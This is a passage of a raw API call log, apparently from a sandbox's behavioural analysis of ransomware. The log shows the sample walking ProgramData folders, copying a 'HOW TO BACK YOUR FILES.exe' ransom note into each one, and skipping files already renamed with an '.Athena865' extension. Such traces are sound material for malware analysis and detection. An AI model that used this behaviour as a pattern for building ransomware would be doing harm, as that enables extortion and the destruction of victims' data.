ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0097.680] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.681] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.681] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0097.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bda0 [0097.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc2) returned 0x52c0e0 [0097.681] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0097.681] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0097.681] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.681] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0097.681] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.681] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.681] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}" [0097.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bdb8 [0097.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x52c1b0 [0097.681] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0097.682] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" [0097.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.682] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0097.682] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.682] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.682] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0097.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bdd0 [0097.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x52c268 [0097.682] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0097.682] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" [0097.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.683] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0097.683] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.683] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.683] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0097.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bde8 [0097.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x52c320 [0097.683] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0097.683] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" [0097.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.684] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0097.684] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.684] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.684] lstrcpyW (in: lpString1=0x241e8a4, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0097.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be00 [0097.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc0) returned 0x53ed08 [0097.684] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0097.684] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0097.684] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.684] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0097.684] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.684] ReleaseMutex (hMutex=0xec) returned 1 [0097.685] CloseHandle (hObject=0xec) returned 1 [0097.685] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Start Menu" | out: lpString1="C:\\ProgramData\\Application Data\\Start Menu") returned="C:\\ProgramData\\Application Data\\Start Menu" [0097.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52faa0 | out: hHeap=0x4f0000) returned 1 [0097.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b18 | out: hHeap=0x4f0000) returned 1 [0097.685] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Start Menu") returned 42 [0097.685] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1FF835EA23251042235AC2A502C7E87B") returned 0xec [0097.685] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.685] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Start Menu" | out: lpString1="C:\\ProgramData\\Application Data\\Start Menu") returned="C:\\ProgramData\\Application Data\\Start Menu" [0097.685] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.685] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.685] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.686] GetLastError () returned 0x0 [0097.686] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.686] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.687] CloseHandle (hObject=0xf4) returned 1 [0097.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.687] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.687] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.687] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.687] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.687] lstrcpyW (in: lpString1=0x241e89e, lpString2="Default Programs.lnk.Athena865" | out: lpString1="Default Programs.lnk.Athena865") returned="Default Programs.lnk.Athena865" [0097.687] lstrlenW (lpString="Default Programs.lnk.Athena865") returned 30 [0097.687] lstrlenW (lpString="Athena865") returned 9 [0097.687] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.687] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0097.687] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.687] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.687] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.687] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.687] lstrlenW (lpString="Athena865") returned 9 [0097.687] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.687] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.687] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.687] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0097.688] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.688] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.688] lstrcpyW (in: lpString1=0x241e89e, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0097.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b18 [0097.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e3c0 [0097.688] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0097.688] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0097.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.688] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0097.688] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.688] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.688] lstrcpyW (in: lpString1=0x241e89e, lpString2="Windows Update.lnk.Athena865" | out: lpString1="Windows Update.lnk.Athena865") returned="Windows Update.lnk.Athena865" [0097.688] lstrlenW (lpString="Windows Update.lnk.Athena865") returned 28 [0097.689] lstrlenW (lpString="Athena865") returned 9 [0097.689] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.689] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 0 [0097.689] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.689] ReleaseMutex (hMutex=0xec) returned 1 [0097.689] CloseHandle (hObject=0xec) returned 1 [0097.689] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Sun" | out: lpString1="C:\\ProgramData\\Application Data\\Sun") returned="C:\\ProgramData\\Application Data\\Sun" [0097.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517488 | out: hHeap=0x4f0000) returned 1 [0097.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b30 | out: hHeap=0x4f0000) returned 1 [0097.689] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Sun") returned 35 [0097.689] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2EBC90B7449C7A77BE47C0F9582E536E") returned 0xec [0097.689] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.689] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Sun" | out: lpString1="C:\\ProgramData\\Application Data\\Sun") returned="C:\\ProgramData\\Application Data\\Sun" [0097.689] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.689] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.690] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\sun\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.690] GetLastError () returned 0x0 [0097.690] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.690] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.691] CloseHandle (hObject=0xf4) returned 1 [0097.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.691] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.691] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Sun\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.691] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.691] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.691] lstrcpyW (in: lpString1=0x241e890, lpString2="Java" | out: lpString1="Java") returned="Java" [0097.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b30 [0097.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x52faa0 [0097.691] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0097.691] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0097.691] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.692] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0097.692] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.693] ReleaseMutex (hMutex=0xec) returned 1 [0097.693] CloseHandle (hObject=0xec) returned 1 [0097.693] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Templates" | out: lpString1="C:\\ProgramData\\Application Data\\Templates") returned="C:\\ProgramData\\Application Data\\Templates" [0097.693] HeapFree (in: 